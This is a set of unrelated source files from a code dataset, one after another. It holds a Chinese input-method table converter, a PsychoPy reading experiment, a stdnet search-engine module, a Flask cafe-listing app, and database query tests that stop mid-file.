self.big5LF, self.big5S, self.big5Other, self.bopomofo, self.cjk, self.cjkExtA, self.cjkExtB, self.cjkExtC, self.cjkExtD, self.cjkExtE, self.cjkExtF, self.cjkCIibm, self.cjkOther, self.phrases, self.privateuse)\n self.saveJsonFile(self.jsonFile)\n\n\n def mergeDicts(self, *chardefsdicts):\n for chardefsdict in chardefsdicts:\n for key in chardefsdict:\n for root in chardefsdict[key]:\n if key in self.chardefs:\n if root in self.chardefs[key]:\n if DEBUG_MODE:\n print(\"含有重複資料: \" + key)\n try:\n self.dupchardefs[key].append(root)\n except KeyError:\n self.dupchardefs[key] = [root]\n else:\n try:\n self.chardefs[key].append(root)\n except KeyError:\n self.chardefs[key] = [root]\n self.cincount['totalchardefs'] += 1\n else:\n try:\n self.chardefs[key].append(root)\n except KeyError:\n self.chardefs[key] = [root]\n self.cincount['totalchardefs'] += 1\n\n\n def toJson(self):\n return {key: value for key, value in self.__dict__.items() if key in self.saveList}\n\n\n def saveJsonFile(self, file):\n filename = self.getJsonFile(file)\n try:\n with open(filename, 'w', encoding='utf8') as f:\n js = json.dump(self.toJson(), f, ensure_ascii=False, sort_keys=True, indent=4)\n except Exception:\n pass # FIXME: handle I/O errors?\n\n\n def getJsonDir(self):\n json_dir = os.path.join(self.curdir, os.pardir, \"json\")\n os.makedirs(json_dir, mode=0o700, exist_ok=True)\n return json_dir\n\n\n def getJsonFile(self, name):\n return os.path.join(self.getJsonDir(), name)\n\n\n def getCharSet(self, key, root):\n matchstr = ''\n if len(root) > 1:\n try:\n self.phrases[key].append(root)\n except KeyError:\n self.phrases[key] = [root]\n self.cincount['phrases'] += 1\n return \"phrases\"\n else:\n matchstr = root\n matchint = ord(matchstr)\n\n if matchint <= self.charsetRange['cjk'][1]:\n if (matchint in range(self.charsetRange['bopomofo'][0], self.charsetRange['bopomofo'][1]) or # Bopomofo 區域\n matchint in self.charsetRange['bopomofoTone']): \n try:\n self.bopomofo[key].append(root) # 注音符號\n except KeyError:\n self.bopomofo[key] = [root]\n self.cincount['bopomofo'] += 1\n return \"bopomofo\"\n elif matchint in range(self.charsetRange['cjk'][0], self.charsetRange['cjk'][1]): # CJK Unified Ideographs 區域\n try:\n big5code = matchstr.encode('big5')\n big5codeint = int(big5code.hex(), 16)\n\n if big5codeint in range(self.charsetRange['big5F'][0], self.charsetRange['big5F'][1]): # Big5 常用字\n try:\n self.big5F[key].append(root)\n except KeyError:\n self.big5F[key] = [root]\n self.cincount['big5F'] += 1\n return \"big5F\"\n elif big5codeint in range(self.charsetRange['big5LF'][0], self.charsetRange['big5LF'][1]): # Big5 次常用字\n try:\n self.big5LF[key].append(root)\n except KeyError:\n self.big5LF[key] = [root]\n self.cincount['big5LF'] += 1\n return \"big5LF\"\n elif big5codeint in range(self.charsetRange['big5S'][0], self.charsetRange['big5S'][1]): # Big5 符號\n try:\n self.big5S[key].append(root)\n except KeyError:\n self.big5S[key] = [root]\n self.cincount['big5S'] += 1\n return \"big5LF\"\n else: # Big5 其它漢字\n try:\n self.big5Other[key].append(root)\n except KeyError:\n self.big5Other[key] = [root]\n self.cincount['big5Other'] += 1\n return \"big5Other\"\n except: # CJK Unified Ideographs 漢字\n try:\n self.cjk[key].append(root)\n except KeyError:\n self.cjk[key] = [root]\n self.cincount['cjk'] += 1\n return \"cjk\"\n elif matchint in range(self.charsetRange['cjkExtA'][0], self.charsetRange['cjkExtA'][1]): # CJK Unified Ideographs Extension A 區域\n try:\n self.cjkExtA[key].append(root) # CJK 擴展 A 區\n except KeyError:\n self.cjkExtA[key] = [root]\n self.cincount['cjkExtA'] += 1\n return \"cjkExtA\"\n else:\n if matchint in range(self.charsetRange['cjkExtB'][0], self.charsetRange['cjkExtB'][1]): # CJK Unified Ideographs Extension B 區域\n try:\n self.cjkExtB[key].append(root) # CJK 擴展 B 區\n except KeyError:\n self.cjkExtB[key] = [root]\n self.cincount['cjkExtB'] += 1\n return \"cjkExtB\"\n elif matchint in range(self.charsetRange['cjkExtC'][0], self.charsetRange['cjkExtC'][1]): # CJK Unified Ideographs Extension C 區域\n try:\n self.cjkExtC[key].append(root) # CJK 擴展 C 區\n except KeyError:\n self.cjkExtC[key] = [root]\n self.cincount['cjkExtC'] += 1\n return \"cjkExtC\"\n elif matchint in range(self.charsetRange['cjkExtD'][0], self.charsetRange['cjkExtD'][1]): # CJK Unified Ideographs Extension D 區域\n try:\n self.cjkExtD[key].append(root) # CJK 擴展 D 區\n except KeyError:\n self.cjkExtD[key] = [root]\n self.cincount['cjkExtD'] += 1\n return \"cjkExtD\"\n elif matchint in range(self.charsetRange['cjkExtE'][0], self.charsetRange['cjkExtE'][1]): # CJK Unified Ideographs Extension E 區域\n try:\n self.cjkExtE[key].append(root) # CJK 擴展 E 區\n except KeyError:\n self.cjkExtE[key] = [root]\n self.cincount['cjkExtE'] += 1\n return \"cjkExtE\"\n elif matchint in range(self.charsetRange['cjkExtF'][0], self.charsetRange['cjkExtF'][1]): # CJK Unified Ideographs Extension F 區域\n try:\n self.cjkExtF[key].append(root) # CJK 擴展 F 區\n except KeyError:\n self.cjkExtF[key] = [root]\n self.cincount['cjkExtF'] += 1\n return \"cjkExtF\"\n elif matchint in self.charsetRange['cjkCIb']: # cjk compatibility ideographs 區域\n try:\n self.cjkCIibm[key].append(root) # CJK 相容字集區 12 特殊字\n except KeyError:\n self.cjkCIibm[key] = [root]\n self.cincount['cjkCI'] += 1\n return \"cjkCIibm\"\n elif (matchint in range(self.charsetRange['pua'][0], self.charsetRange['pua'][1]) or # Unicode Private Use 區域\n matchint in range(self.charsetRange['puaA'][0], self.charsetRange['puaA'][1]) or\n matchint in range(self.charsetRange['puaB'][0], self.charsetRange['puaB'][1])):\n try:\n self.privateuse[key].append(root) # Unicode 私用區\n except KeyError:\n self.privateuse[key] = [root]\n self.cincount['privateuse'] += 1\n return \"pua\"\n elif (matchint in range(self.charsetRange['cjkCIa'][0], self.charsetRange['cjkCIa'][1]) or # cjk compatibility ideographs 區域\n matchint in self.charsetRange['cjkCIc'] or\n matchint in range(self.charsetRange['cjkCId'][0], self.charsetRange['cjkCId'][1])):\n try:\n self.privateuse[key].append(root) # CJK 相容字集區\n except KeyError:\n self.privateuse[key] = [root]\n self.cincount['cjkCI'] += 1\n return \"pua\"\n elif matchint in range(self.charsetRange['cjkCIS'][0], self.charsetRange['cjkCIS'][1]): # cjk compatibility ideographs supplement 區域\n try:\n self.privateuse[key].append(root) # CJK 相容字集補充區\n except KeyError:\n self.privateuse[key] = [root]\n self.cincount['cjkCIS'] += 1\n return \"pua\"\n # 不在 CJK Unified Ideographs 區域\n try:\n self.cjkOther[key].append(root) # CJK 其它漢字或其它字集字元\n except KeyError:\n self.cjkOther[key] = [root]\n self.cincount['cjkOther'] += 1\n return \"cjkOther\"\n\n\ndef head_rest(head, line):\n return line[len(head):].strip()\n\ndef safeSplit(line):\n if ' ' in line:\n return line.split(' ', 1)\n elif '\\t' in line:\n return line.split('\\t', 1)\n else:\n return line, \"Error\"\n\n\ndef main():\n app = CinToJson()\n if len(sys.argv) >= 2:\n cinFile = os.path.join(os.path.abspath(os.path.dirname(__file__)), os.pardir, \"cin\", sys.argv[1])\n if os.path.exists(cinFile):\n if len(sys.argv) >= 3 and sys.argv[2] == \"sort\":\n app.run(sys.argv[1], cinFile, True)\n else:\n app.run(sys.argv[1], cinFile, False)\n else:\n if len(sys.argv) == 1:\n sortList = ['cnscj.cin', 'CnsPhonetic.cin']\n for file in os.listdir(os.path.join(os.path.abspath(os.path.dirname(__file__)), os.pardir, \"cin\")):\n if file.endswith(\".cin\"):\n if DEBUG_MODE:\n print('轉換 ' + file + ' 中...')\n app.__init__()\n cinFile = os.path.join(os.path.abspath(os.path.dirname(__file__)), os.pardir, \"cin\", file)\n if file in sortList:\n app.run(file, cinFile, True)\n else:\n app.run(file, cinFile, False)\n app.__del__()\n else:\n if DEBUG_MODE:\n print('檔案不存在!')\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"EasyIME/PIME","sub_path":"python/cinbase/tools/cintojson.py","file_name":"cintojson.py","file_ext":"py","file_size_in_byte":20709,"program_lang":"python","lang":"en","doc_type":"code","stars":1275,"dataset":"github-code","pt":"18"} +{"seq_id":"17692692478","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n-------------------------------------------------\n File Name: make_test\n Description :\n Author : gaoxi\n date: 2018/3/17\n-------------------------------------------------\n Change Activity:\n 2018/3/17:\n-------------------------------------------------\n\"\"\"\nimport linecache\n\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\ntestq = 'zonghetest.txt'\n\nmaxline = len((open(testq).readlines()))+1\n# print maxline\nfor i in range(1,maxline,2):\n\tquestion = linecache.getline(testq, i)\n\twith open('test3.txt','a+') as tt:\n\t\ttt.writelines(question)\n\tanswer = linecache.getline(testq,i+1)\n\twith open('answers3.txt','a+') as aa:\n\t\taa.writelines(answer)","repo_name":"caigao-g/UAVTest","sub_path":"exersicerobots/make_test.py","file_name":"make_test.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"26897789265","text":"from psychopy import visual, core, event, microphone\nfrom numpy.random import randint, shuffle\nimport numpy as np\nfrom baseDef import*\n\nsans = ['Arial','Gill Sans MT', 'Helvetica','Verdana'] #use the first font found on this list\nwin = set_window(fullscr=True, gui=True, color=1)\n#############################################################################################\ninstrTxt = visual.TextStim(win,text='default text', font= sans, name='instruction',\n pos=[-50,0], height=30, wrapWidth=1100,\n color='black',\n ) #object to display instructions\n\ndef instruction(inst_txt='Instructions\\\\exp_encode_instr.txt'):\n Instruction = open(inst_txt, 'r').read().split('#\\n')\n Ready = open('Instructions\\\\wait_trigger.txt', 'r').read()\n #instructions screen \n for i, cur in enumerate(Instruction):\n instrTxt.setText(cur)\n instrTxt.draw()\n win.flip()\n event.clearEvents()\n if i==0:\n core.wait(np.arange(1.3,1.75,0.05)[randint(0,9)])\n else:\n event.waitKeys(keyList=['space'])\n instrTxt.setText(Ready)\n instrTxt.draw()\n win.flip()\n if event.getKeys(keyList=['escape']):\n quitEXP(True)\n #need to update a scanner trigger version\n core.wait(np.arange(1.3,1.75,0.05)[randint(0,9)])\n event.clearEvents()\n\n############################################################################################ \nfixation = visual.TextStim(win, name='fixation', text='+', \n font= sans, height=62, pos=(0,0),color='black')#set pix pos\n\ndef fixation_screen(myClock, waittime=1):\n fixation.draw()\n win.logOnFlip(level=logging.EXP, msg='fixation cross on screen') #new log haoting\n win.flip()\n fixStart = myClock.getTime() #fixation cross onset\n core.wait(waittime)\n return fixStart\n\n##############################################################################################\nNART_word = visual.TextStim(win,text='default text', font= sans, name='word',\n height=62, wrapWidth=1100,\n color='black', \n )\n\ndef NART_task(myClock, datafn):\n wavDirName = datafn + '_wav'\n if not os.path.isdir(wavDirName):\n os.makedirs(wavDirName) # to hold .wav files\n microphone.switchOn()\n mic = microphone.AdvAudioCapture(name='mic', saveDir=wavDirName, stereo=True)\n import codecs \n stimuli_list = codecs.open('Stimuli\\\\nart_wordlist.txt', 'r', 'utf-8') .read().split('\\n')\n for this in stimuli_list:\n fixation_screen(myClock, waittime=1)\n NART_word.setText(this)\n NART_word.draw()\n win.flip()\n wavfile = mic.record(1200)\n event.waitKeys(keyList=['space'])\n mic.stop()\n if event.getKeys(keyList=['escape']):\n mic.stop()\n quitEXP(True)\n##############################################################################################\nmsgTxt = visual.TextStim(win,text='default text', font= sans, name='message',\n height=62, wrapWidth=1100,\n color='black', \n )\n\ndef endExp():\n endtxt = open('Instructions\\\\end_instr.txt', 'r').read().split('#\\n')[0]\n msgTxt.setText(endtxt)\n msgTxt.draw()\n win.flip()\n event.waitKeys(maxWait = 20)\n logging.flush()\n win.close()\n core.quit()\n","repo_name":"htwangtw/mindwanderinglabYork","sub_path":"TaskScripts/NART_psychopy/NART_TrialDisplay.py","file_name":"NART_TrialDisplay.py","file_ext":"py","file_size_in_byte":3231,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"30048486636","text":"import logging\r\n\r\nfrom itertools import chain\r\nfrom inspect import isgenerator\r\nfrom datetime import datetime\r\n\r\nfrom .models import StdModel\r\nfrom .fields import DateTimeField, CharField\r\nfrom .signals import post_commit, post_delete\r\n\r\n\r\nlogger = logging.getLogger('stdnet.search')\r\n\r\nclass SearchEngine(object):\r\n \"\"\"Stdnet search engine driver. This is an abstract class which\r\nexpose the base functionalities for full text-search on model instances.\r\nStdnet also provides a :ref:`python implementation `\r\nof this interface.\r\n\r\nThe main methods to be implemented are :meth:`add_item`,\r\n:meth:`remove_index` and :meth:`search_model`.\r\n\r\n.. attribute:: word_middleware\r\n\r\n A list of middleware functions for preprocessing text\r\n to be indexed. A middleware function has arity 1 by\r\n accepting an iterable of words and\r\n returning an iterable of words. Word middleware functions\r\n are added to the search engine via the\r\n :meth:`add_word_middleware` method.\r\n\r\n For example this function remove a group of words from the index::\r\n\r\n se = SearchEngine()\r\n\r\n class stopwords(object):\r\n\r\n def __init__(self, *swords):\r\n self.swords = set(swords)\r\n\r\n def __call__(self, words):\r\n for word in words:\r\n if word not in self.swords:\r\n yield word\r\n\r\n se.add_word_middleware(stopwords('and','or','this','that',...))\r\n\"\"\"\r\n REGISTERED_MODELS = {}\r\n ITEM_PROCESSORS = []\r\n last_indexed = 'last_indexed'\r\n\r\n def __init__(self):\r\n self.word_middleware = []\r\n self.add_processor(stdnet_processor())\r\n\r\n def register(self, model, related=None):\r\n '''Register a :class:`StdModel` to the search engine.\r\nWhen registering a model, every time an instance is created, it will be\r\nindexed by the search engine.\r\n\r\n:parameter model: a :class:`StdModel` class.\r\n:parameter related: a list of related fields to include in the index.\r\n'''\r\n model._meta.searchengine = self\r\n model._index_related = related or ()\r\n update_model = UpdateSE(self)\r\n self.REGISTERED_MODELS[model] = update_model\r\n post_commit.connect(update_model, sender = model)\r\n post_delete.connect(update_model, sender = model)\r\n\r\n def words_from_text(self, text, for_search=False):\r\n '''Generator of indexable words in *text*.\r\nThis functions loop through the :attr:`word_middleware` attribute\r\nto process the text.\r\n\r\n:parameter text: string from which to extract words.\r\n:parameter for_search: flag indicating if the the words will be used for search\r\n or to index the database. This flug is used in conjunction with the\r\n middleware flag *for_search*. If this flag is ``True`` (i.e. we need to\r\n search the database for the words in *text*), only the\r\n middleware functions in :attr:`word_middleware` enabled for searching are\r\n used.\r\n\r\n Default: ``False``.\r\n\r\nreturn a *list* of cleaned words.\r\n'''\r\n if not text:\r\n return []\r\n\r\n word_gen = self.split_text(text)\r\n\r\n for middleware,fors in self.word_middleware:\r\n if for_search and not fors:\r\n continue\r\n word_gen = middleware(word_gen)\r\n\r\n if isgenerator(word_gen):\r\n word_gen = list(word_gen)\r\n\r\n return word_gen\r\n\r\n def split_text(self, text):\r\n '''Split text into words and return an iterable over them.\r\nCan and should be reimplemented by subclasses.'''\r\n return text.split()\r\n\r\n def add_processor(self, processor):\r\n if processor not in self.ITEM_PROCESSORS:\r\n self.ITEM_PROCESSORS.append(processor)\r\n\r\n def add_word_middleware(self, middleware, for_search=True):\r\n '''Add a *middleware* function to the list of :attr:`word_middleware`,\r\nfor preprocessing words to be indexed.\r\n\r\n:parameter middleware: a callable receving an iterable over words.\r\n:parameter for_search: flag indicating if the *middleware* can be used for the\r\n text to search. Default: ``True``.\r\n'''\r\n if hasattr(middleware,'__call__'):\r\n self.word_middleware.append((middleware,for_search))\r\n\r\n def index_item(self, item, transaction):\r\n \"\"\"This is the main function for indexing items.\r\nIt extracts content from the given *item* and add it to the index.\r\n\r\n:parameter item: an instance of a :class:`stdnet.odm.StdModel`.\r\n\"\"\"\r\n self.index_items_from_model((item,), item.__class__, transaction)\r\n \r\n def index_items_from_model(self, items, model, transaction):\r\n \"\"\"This is the main function for indexing items.\r\nIt extracts content from a list of *items* belonging to *model* and\r\nadd it to the index.\r\n\r\n:parameter items: an iterable over instances of of a :class:`stdnet.odm.StdModel`.\r\n:parameter model: The *model* of all *items*.\r\n:parameter transaction: A transaction for updauing indexes.\r\n\"\"\"\r\n ids = []\r\n wft = self.words_from_text\r\n add = self.add_item\r\n for item, data in self._item_data(items):\r\n ids.append(item.id)\r\n words = chain(*[wft(value) for value in data])\r\n add(item, words, transaction)\r\n if ids:\r\n self.remove_item(model, transaction, ids)\r\n\r\n def reindex(self):\r\n '''Re-index models by removing items in\r\n:class:`stdnet.contrib.searchengine.WordItem` and rebuilding them by iterating\r\nthrough all the instances of model provided.\r\nIf models are not provided, it reindex all models registered\r\nwith the search engine.'''\r\n self.flush()\r\n n = 0\r\n # Loop over models\r\n for model in self.REGISTERED_MODELS:\r\n # get all fiels to index\r\n fields = tuple((f.name for f in model._meta.scalarfields\\\r\n if f.type == 'text'))\r\n session = self.session()\r\n with session.begin():\r\n for obj in model.objects.query().load_only(*fields):\r\n n += 1\r\n self.index_item(obj, session)\r\n return n\r\n\r\n # INTERNALS\r\n #################################################################\r\n\r\n def item_field_iterator(self, item):\r\n for processor in self.ITEM_PROCESSORS:\r\n result = processor(item)\r\n if result is not None:\r\n return result\r\n raise ValueError(\r\n 'Cound not iterate through item {0} fields'.format(item))\r\n \r\n def _item_data(self, items):\r\n fi = self.item_field_iterator\r\n for item in items:\r\n data = fi(item)\r\n if data:\r\n yield item, data\r\n \r\n\r\n # ABSTRACT FUNCTIONS\r\n ################################################################\r\n\r\n def session(self):\r\n '''Create a session for the search engine'''\r\n return None\r\n\r\n def remove_item(self, item_or_model, session, ids=None):\r\n '''Remove an item from the search indices'''\r\n raise NotImplementedError()\r\n\r\n def add_item(self, item, words, session):\r\n '''Create indices for *item* and each word in *words*.\r\n\r\n:parameter item: a *model* instance to be indexed. It does not need to be\r\n a :class:`stdnet.odm.StdModel`.\r\n:parameter words: iterable over words. This iterable has been obtained from the\r\n text in *item* via the :attr:`word_middleware`.\r\n'''\r\n raise NotImplementedError()\r\n\r\n def search(self, text, include = None, exclude = None, lookup = None):\r\n raise NotImplementedError()\r\n\r\n def search_model(self, query, text, lookup = None):\r\n '''Search *text* in *model* instances. This is the functions\r\nneeding implementation by custom serach engines.\r\n\r\n:parameter query: a :class:`Query` on a :class:`StdModel`.\r\n:parameter text: text to search\r\n:parameter lookup: Optional lookup, one of ``contains`` or ``in``.\r\n:rtype: An updated :class:`Query`.'''\r\n raise NotImplementedError()\r\n\r\n def flush(self, full = False):\r\n '''Clean the search engine'''\r\n raise NotImplementedError()\r\n\r\n\r\nclass UpdateSE(object):\r\n\r\n def __init__(self, se):\r\n self.se = se\r\n\r\n def __call__(self, instances, session=None, signal=None, sender=None,\r\n **kwargs):\r\n '''An update on instances has occured. Propagate it to the search\r\nengine index models.'''\r\n if session is None:\r\n raise ValueError('No session available. Cannot updated indexes.')\r\n if sender:\r\n if signal == post_delete:\r\n self.remove(instances, session, sender)\r\n else:\r\n self.index(instances, session, sender)\r\n\r\n def index(self, instances, session, sender):\r\n # The session is not in a transaction since this is a callback\r\n logger.debug('indexing %s instances of %s',\r\n len(instances), sender._meta)\r\n with session.begin(name='Index search engine') as t:\r\n self.se.index_items_from_model(instances, sender, t)\r\n\r\n def remove(self, instances, session, sender):\r\n logger.debug('Removing from search index %s instances of %s',\r\n len(instances), sender._meta)\r\n remove_item = self.se.remove_item\r\n with session.begin(name='Remove search indexes') as t:\r\n remove_item(sender, t, instances)\r\n\r\n\r\nclass stdnet_processor(object):\r\n '''A search engine processor for stdnet models.\r\nAn engine processor is a callable\r\nwhich return an iterable over text.'''\r\n def __call__(self, item):\r\n if isinstance(item, StdModel):\r\n return self.field_iterator(item)\r\n\r\n def field_iterator(self, item):\r\n related = getattr(item, '_index_related', ())\r\n data = []\r\n for field in item._meta.fields:\r\n if field.hidden:\r\n continue\r\n if field.type == 'text':\r\n if hasattr(item, field.attname):\r\n data.append(getattr(item, field.attname))\r\n else:\r\n return ()\r\n elif field.name in related:\r\n value = getattr(item, field.name, None)\r\n if value:\r\n data.extend(self.field_iterator(value))\r\n return data\r\n","repo_name":"abulte/python-stdnet","sub_path":"stdnet/odm/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":10263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"} +{"seq_id":"13022672331","text":"import pandas\nimport random\n\n\nclass TypeTest:\n def __init__(self):\n self.word_count = 0\n self.spelling = 0\n self.words_to_type = \"\"\n self.words_to_type_list = []\n self.inputted_words_list = []\n self.get_new_words()\n\n def get_new_words(self):\n \"\"\" Select 100 words randomly from the .csv file. Makes a list and a string with those 100 words. \"\"\"\n word_data = pandas.read_csv(\"data.csv\")\n all_words = word_data[\"word\"].to_list()\n for w in range(1, 101):\n random_w = f\"{random.choice(all_words)} \"\n self.words_to_type += random_w\n self.words_to_type_list = self.words_to_type.split()\n\n def start_again(self):\n \"\"\" Re-set values and word lists. \"\"\"\n self.word_count = 0\n self.spelling = 0\n self.words_to_type = \"\"\n self.words_to_type_list = []\n self.inputted_words_list = []\n self.get_new_words()\n\n def word_per_minute(self, typed_words):\n \"\"\" Returns the amount of correct spelled words. Note words are compared according to their index. \"\"\"\n self.inputted_words_list = typed_words.split()\n for n in range(len(self.inputted_words_list)):\n if self.inputted_words_list[n] == self.words_to_type_list[n]:\n self.word_count += 1\n return self.word_count\n\n def spell_check(self, w_count, input_w_list):\n \"\"\" Checks if there are misspelled words and how many. \"\"\"\n self.spelling = len(input_w_list) - w_count\n if self.spelling == 0:\n return f\"You spelled all words correct\"\n elif self.spelling > 0:\n return f\"You misspelled: {self.spelling} words\\nThey were not counted in your WPM score.\"\n","repo_name":"NadjaF0987/Typing_speed_test","sub_path":"functionality.py","file_name":"functionality.py","file_ext":"py","file_size_in_byte":1745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"6216332107","text":"import attr\nfrom django.utils.translation import ugettext_lazy as _\n\n\n@attr.s\nclass TicketStep:\n process_role_id = attr.ib(type=str)\n process_scope_id = attr.ib(type=str, default=None)\n paased_by_system = attr.ib(type=str, default=False)\n\n\n@attr.s\nclass TicketFlow:\n ticket_type = attr.ib(type=str)\n ticket_object = attr.ib(type=str)\n ticket_name = attr.ib(type=str)\n steps = attr.ib(type=list)\n\n\nAPPLY_ROLE = \"apply_role\"\nPROJECT_BIZ = \"project_biz\"\nTOKEN_DATA = \"token_data\"\nBATCH_RECALC = \"batch_recalc\"\nVERIFY_TDM_DATA = \"verify_tdm_data\"\nRESOURCE_GROUP_USE = \"use_resource_group\"\nRESOURCE_GROUP_CREATE = \"create_resource_group\"\nRESOURCE_GROUP_EXPAND = \"expand_resource_group\"\n\n\nTICKET_FLOWS = [\n TicketFlow(ticket_type=PROJECT_BIZ, ticket_name=_(\"项目申请业务数据\"), ticket_object=\"ProjectDataTicketObj\", steps=[]),\n TicketFlow(\n ticket_type=RESOURCE_GROUP_USE, ticket_name=_(\"资源组授权申请\"), ticket_object=\"ResourceGroupTicketObj\", steps=[]\n ),\n TicketFlow(ticket_type=APPLY_ROLE, ticket_name=_(\"申请角色\"), ticket_object=\"RoleTicketObj\", steps=[]),\n TicketFlow(ticket_type=TOKEN_DATA, ticket_name=_(\"授权码申请权限\"), ticket_object=\"DataTokenTicketObj\", steps=[]),\n TicketFlow(\n ticket_type=BATCH_RECALC,\n ticket_name=_(\"离线补录申请\"),\n ticket_object=\"BatchReCalcObj\",\n steps=[TicketStep(process_role_id=\"bkdata.batch_manager\")],\n ),\n TicketFlow(\n ticket_type=VERIFY_TDM_DATA,\n ticket_name=_(\"TDM原始数据接入申请\"),\n ticket_object=\"CommonTicketObj\",\n steps=[TicketStep(process_role_id=\"bkdata.tdm_manager\")],\n ),\n TicketFlow(\n ticket_type=RESOURCE_GROUP_CREATE,\n ticket_name=_(\"资源组创建申请\"),\n ticket_object=\"CommonTicketObj\",\n steps=[TicketStep(process_role_id=\"biz.manager\"), TicketStep(process_role_id=\"bkdata.resource_manager\")],\n ),\n TicketFlow(\n ticket_type=RESOURCE_GROUP_EXPAND,\n ticket_name=_(\"资源组扩容申请\"),\n ticket_object=\"CommonTicketObj\",\n steps=[TicketStep(process_role_id=\"biz.manager\"), TicketStep(process_role_id=\"bkdata.ops\")],\n ),\n]\n\n\nTICKET_FLOW_CONFIG = {_tf.ticket_type: _tf for _tf in TICKET_FLOWS}\n\nCOMMON_TICKET_TYPES = [\n _tf.ticket_type for _tf in TICKET_FLOWS if _tf.ticket_object in [\"CommonTicketObj\", \"BatchReCalcObj\"]\n]\nTICKET_TYPE_CHOICES = [(_tf.ticket_type, _tf.ticket_name) for _tf in TICKET_FLOWS]\n","repo_name":"Tencent/bk-base","sub_path":"src/api/auth/config/ticket.py","file_name":"ticket.py","file_ext":"py","file_size_in_byte":2487,"program_lang":"python","lang":"en","doc_type":"code","stars":85,"dataset":"github-code","pt":"18"} +{"seq_id":"72538870441","text":"from flask import Flask, render_template, redirect, url_for\nfrom flask_bootstrap import Bootstrap\nfrom flask_wtf import FlaskForm\nfrom wtforms import StringField, SubmitField, SelectField\nfrom wtforms.validators import DataRequired, URL\nimport csv\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = '8BYkEfBA6O6donzWlSihBXox7C0sKR6b'\nBootstrap(app)\n\n\nclass CafeForm(FlaskForm):\n cafe = StringField('Cafe Name', validators=[DataRequired()])\n location = StringField('Location', validators=[DataRequired()])\n open_time = StringField('Open', validators=[DataRequired()])\n close_time = StringField('Close', validators=[DataRequired()])\n\n coffee = SelectField('Coffee', choices=[\n ('0', '✘'),\n ('1', '☕️'),\n ('2', '☕️☕️'),\n ('3', '☕️☕️☕️'),\n ('4', '☕️☕️☕️☕️'),\n ('5', '☕️☕️☕️☕️☕️'),\n ], validators=[DataRequired()])\n\n wifi = SelectField('Wifi', choices=[\n ('0', '✘'),\n ('1', '📶'),\n ('2', '📶📶'),\n ('3', '📶📶📶'),\n ('4', '📶📶📶📶'),\n ('5', '📶📶📶📶📶'),\n ], validators=[DataRequired()])\n\n power = SelectField('Power', choices=[\n ('0', '✘'),\n ('1', '🔌'),\n ('2', '🔌🔌'),\n ('3', '🔌🔌🔌'),\n ('4', '🔌🔌🔌🔌'),\n ('5', '🔌🔌🔌🔌🔌'),\n ], validators=[DataRequired()])\n\n submit = SubmitField('Submit')\n\n# Exercise:\n# add: Location URL, open time, closing time, coffee rating, wifi rating, power outlet rating fields\n# make coffee/wifi/power a select element with choice of 0 to 5.\n#e.g. You could use emojis ☕️/💪/✘/🔌\n# make all fields required except submit\n# use a validator to check that the URL field has a URL entered.\n# ---------------------------------------------------------------------------\n\n\n# all Flask routes below\n@app.route(\"/\")\ndef home():\n return render_template(\"index.html\")\n\n\n@app.route('/add', methods=[\"GET\", \"POST\"])\ndef add_cafe():\n form = CafeForm()\n if form.validate_on_submit():\n name = form.data[\"cafe\"]\n location = form.data[\"location\"]\n open_time = form.data[\"open_time\"]\n close_time = form.data[\"close_time\"]\n coffee = int(form.data[\"coffee\"])\n coffee = \"✘\" if coffee == 0 else \"☕️\" * coffee\n wifi = int(form.data[\"wifi\"])\n wifi = \"✘\" if wifi == 0 else \"📶\" * wifi\n power = int(form.data[\"power\"])\n power = \"✘\" if power == 0 else \"🔌\" * power\n with open(\"cafe-data.csv\", \"a\") as f:\n f.writelines(f\"{name},{location},{open_time},{close_time},{coffee},{wifi},{power}\\n\")\n return redirect(url_for(\"cafes\"))\n return render_template('add.html', form=form)\n\n\n@app.route('/cafes')\ndef cafes():\n with open('cafe-data.csv', newline='') as csv_file:\n csv_data = csv.reader(csv_file, delimiter=',')\n list_of_rows = []\n for row in csv_data:\n list_of_rows.append(row)\n return render_template('cafes.html', cafes=list_of_rows)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"avholloway/100DaysOfCode","sub_path":"day062/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31575150498","text":"\"\"\"Tests for engagement queries\"\"\"\n\nfrom datetime import datetime\nfrom ideabank_webapi.services import EngagementDataService\n\n\ndef test_create_liking_query_builds():\n stmt = EngagementDataService.insert_liking(\"user\", \"user/concept\")\n assert str(stmt) == 'INSERT INTO likes (display_name, concept_id) ' \\\n 'VALUES (:display_name, :concept_id) ' \\\n 'RETURNING likes.display_name, likes.concept_id'\n\n\ndef test_revoke_liking_query_builds():\n stmt = EngagementDataService.revoke_liking(\"user\", \"user/concept\")\n assert str(stmt) == 'DELETE FROM likes ' \\\n 'WHERE likes.display_name = :display_name_1 ' \\\n 'AND likes.concept_id = :concept_id_1'\n\n\ndef test_check_liking_query_builds():\n stmt = EngagementDataService.check_liking(\"user\", \"user/concept\")\n assert str(stmt) == 'SELECT likes.display_name, likes.concept_id \\n' \\\n 'FROM likes \\n' \\\n 'WHERE likes.display_name = :display_name_1 ' \\\n 'AND likes.concept_id = :concept_id_1'\n\n\ndef test_create_following_query_builds():\n stmt = EngagementDataService.insert_following(\"user-a\", \"user-b\")\n assert str(stmt) == 'INSERT INTO follows (follower, followee) ' \\\n 'VALUES (:follower, :followee) ' \\\n 'RETURNING follows.follower, follows.followee'\n\n\ndef test_unfollowing_query_builds():\n stmt = EngagementDataService.revoke_following(\"user-a\", \"user-b\")\n assert str(stmt) == 'DELETE FROM follows ' \\\n 'WHERE follows.followee = :followee_1 ' \\\n 'AND follows.follower = :follower_1'\n\n\ndef test_check_following_query_builds():\n stmt = EngagementDataService.check_following(\"user-a\", \"user-b\")\n assert str(stmt) == 'SELECT follows.follower, follows.followee \\n' \\\n 'FROM follows \\n' \\\n 